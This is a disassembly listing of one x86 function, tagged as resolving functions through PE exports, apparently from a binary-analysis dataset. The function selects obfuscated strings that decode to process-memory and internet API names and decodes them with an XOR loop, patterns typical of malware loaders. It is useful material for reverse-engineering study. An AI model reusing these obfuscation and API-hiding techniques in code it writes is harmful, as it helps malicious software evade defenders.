Function at 0x403b50
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x422c71
mov eax, dword fs:[0]
push eax
sub esp, 0x64
mov eax, dword [0x42a0c0]
xor eax, esp
mov dword [esp + 0x60], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x42a0c0]
xor eax, esp
push eax
lea eax, [esp + 0x78]
mov dword fs:[0], eax
mov edi, dword [esp + 0x88]
xor ebp, ebp
mov dword [esp + 0x14], ebp
mov esi, 7
xor eax, eax
mov dword [esp + 0x1c], edi
mov dword [esp + 0x54], esi
mov dword [esp + 0x50], ebp
mov word [esp + 0x40], ax
mov eax, dword [esp + 0x8c]
dec eax
mov dword [esp + 0x80], 1
cmp eax, 0x29
ja case.default.0x403bc3
jmp dword [eax*4 + 0x403f68]
lea ecx, [esp + 0x3c]
push ecx
mov eax, str.Whsut_mGsdd
jmp 0x403e1d
lea edx, [esp + 0x3c]
push edx
mov eax, str.GsddMhcs_sx
jmp 0x403e1d
lea eax, [esp + 0x3c]
push eax
mov eax, str.Sd_eQsnbdrrLdlnsx
jmp 0x403e1d
lea ecx, [esp + 0x3c]
push ecx
mov eax, str.SdrtldUisd_e
jmp 0x403e1d
lea edx, [esp + 0x3c]
push edx
mov eax, str.FduUisd_eBnoudyu
jmp 0x403e1d
lea eax, [esp + 0x3c]
push eax
mov eax, str.RduUisd_eBnoudyu
jmp 0x403e1d
lea ecx, [esp + 0x3c]
push ecx
mov eax, str.VshudQsnbdrrLdlnsx
jmp 0x403e1d
lea edx, [esp + 0x3c]
push edx
mov eax, str.Bsd_udQsnbdrrV
jmp 0x403e1d
lea eax, [esp + 0x3c]
push eax
mov eax, str.Whsut_m_mmnb
jmp 0x403e1d
lea ecx, [esp + 0x3c]
push ecx
mov eax, str.OuTol_qWhdvNgRdbuhno
jmp 0x403e1d
lea edx, [esp + 0x3c]
push edx
mov eax, str.Whsut_m_mmnbDy
jmp 0x403e1d
lea eax, [esp + 0x3c]
push eax
mov eax, str.V_huGnsRhofmdNckdbu
jmp 0x403e1d
lea ecx, [esp + 0x3c]
push ecx
mov eax, str.ldlbqx
jmp 0x403e1d
lea edx, [esp + 0x3c]
push edx
mov eax, str.HoudsoduNqdo_
jmp 0x403e1d
lea eax, [esp + 0x3c]
push eax
mov eax, str.HoudsoduNqdoTsm_
jmp 0x403e1d
lea ecx, [esp + 0x3c]
push ecx
mov eax, str.HoudsoduBmnrdI_oemd
jmp 0x403e1d
lea edx, [esp + 0x3c]
push edx
mov eax, str.HoudsoduSd_eGhmd
jmp 0x403e1d
lea eax, [esp + 0x3c]
push eax
mov eax, str._CBEDGFIHKJMLONQPSRUTWVYX__cbedgfihkjmlonqpsrutwvyx1032547698__
jmp 0x403e1d
lea ecx, [esp + 0x3c]
push ecx
mov eax, str.Jdsodm23_emm
jmp 0x403e1d
lea edx, [esp + 0x3c]
push edx
mov eax, str.ouemm_emm
jmp 0x403e1d
lea eax, [esp + 0x3c]
push eax
mov eax, str.lrwbsu_emm
jmp 0x403e1d
lea ecx, [esp + 0x3c]
push ecx
mov eax, str.vhohodu_emm
jmp 0x403e1d
lea edx, [esp + 0x3c]
push edx
mov eax, str.FduLnetmdGhmdO_ldV
jmp 0x403e1d
lea eax, [esp + 0x3c]
push eax
mov eax, str.Ldsbh_e_wnhs_binhrh_onusd_mnfhbhdm_
jmp 0x403e1d
lea ecx, [esp + 0x3c]
push ecx
mov eax, str.Bnlldobd
jmp 0x403e1d
lea edx, [esp + 0x3c]
push edx
mov eax, str.Ui_oj_xnt_gns_trhof_nts_rnguv_sd_
jmp 0x403e1d
lea eax, [esp + 0x3c]
push eax
mov eax, str.Fdu_Ru_sude
jmp 0x403e1d
lea ecx, [esp + 0x3c]
push ecx
mov eax, str.sdusx
jmp 0x403e1d
lea edx, [esp + 0x3c]
push edx
mov eax, str.sdusxhofm_tobi
jmp 0x403e1d
lea eax, [esp + 0x3c]
push eax
mov eax, str.crusqrhd
jmp 0x403e1d
lea ecx, [esp + 0x3c]
push ecx
mov eax, str.crusqru_su
jmp 0x403e1d
lea edx, [esp + 0x3c]
push edx
mov eax, str.crusqqtmm
jmp 0x403e1d
lea eax, [esp + 0x3c]
push eax
mov eax, str.crusqqsdbsd
jmp 0x403e1d
lea ecx, [esp + 0x3c]
push ecx
mov eax, str.crusqqnrubsd
jmp 0x403e1d
lea edx, [esp + 0x3c]
push edx
mov eax, str.crusqemdybdquhno
jmp 0x403e1d
lea eax, [esp + 0x3c]
push eax
mov eax, str.crusqemdssns
jmp 0x403e1d
lea ecx, [esp + 0x3c]
push ecx
mov eax, str.lned_emudru
jmp 0x403e1d
lea edx, [esp + 0x3c]
push edx
mov eax, str.lned_eminrude
jmp 0x403e1d
lea eax, [esp + 0x3c]
push eax
mov eax, str.lned_em
jmp 0x403e1d
lea ecx, [esp + 0x3c]
push ecx
mov eax, str.lned_emrihgu
jmp 0x403e1d
lea edx, [esp + 0x3c]
push edx
mov eax, str._eqsnwheds_v_jdodu
jmp 0x403e1d
lea eax, [esp + 0x3c]
push eax
mov eax, str.horu_mmdsru_su
call fcn.00407a40
xor ecx, ecx
mov dword [edi + 0x18], esi
mov dword [edi + 0x14], ebp
lea ebx, [edi + 4]
push 0xffffffffffffffff
mov word [ebx], cx
push ebp
lea eax, [esp + 0x44]
mov ecx, edi
call fcn.00402430
mov dword [esp + 0x70], esi
xor edx, edx
push 1
mov eax, 0x426d70
lea esi, [esp + 0x5c]
mov dword [esp + 0x18], 1
mov dword [esp + 0x70], ebp
mov word [esp + 0x60], dx
call fcn.00402c50
mov byte [esp + 0x80], 2
cmp dword [esp + 0x70], 8
mov eax, dword [esp + 0x5c]
jae 0x403e7c
lea eax, [esp + 0x5c]
push eax
call fcn.0040a8b6
mov edx, dword [esp + 0x54]
add esp, 4
xor esi, esi
mov dword [esp + 0x18], eax
cmp edx, ebp
jbe 0x403ed9
cmp esi, dword [edi + 0x14]
jbe 0x403e9d
call fcn.0040a5d6
cmp dword [edi + 0x18], 8
jb 0x403ea7
mov ebp, dword [ebx]
jmp 0x403ea9
mov ebp, ebx
cmp esi, dword [edi + 0x14]
jbe 0x403eb3
call fcn.0040a5d6
cmp dword [edi + 0x18], 8
jb 0x403ebd
mov eax, dword [ebx]
jmp 0x403ebf
mov eax, ebx
mov cx, word [ebp + esi*2]
xor cx, word [esp + 0x18]
inc esi
mov word [eax + esi*2 - 2], cx
mov edx, dword [esp + 0x50]
cmp esi, edx
jb 0x403e93
xor ebp, ebp
push edi
lea esi, [esp + 0x24]
call fcn.00407b90
push 0xffffffffffffffff
push ebp
mov ecx, edi
mov byte [esp + 0x88], 3
call fcn.00402430
mov esi, 8
cmp dword [esp + 0x38], esi
jb 0x403f0d
mov edx, dword [esp + 0x24]
push edx
call fcn.0040a6a3
add esp, 4
cmp dword [esp + 0x70], esi
jb 0x403f20
mov eax, dword [esp + 0x5c]
push eax
call fcn.0040a6a3
add esp, 4
xor ecx, ecx
mov dword [esp + 0x70], 7
mov dword [esp + 0x6c], ebp
mov word [esp + 0x5c], cx
cmp dword [esp + 0x54], esi
jb 0x403f46
mov edx, dword [esp + 0x40]
push edx
call fcn.0040a6a3
add esp, 4
mov eax, edi
mov ecx, dword [esp + 0x78]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x60]
xor ecx, esp
call fcn.0040a13d
add esp, 0x70
ret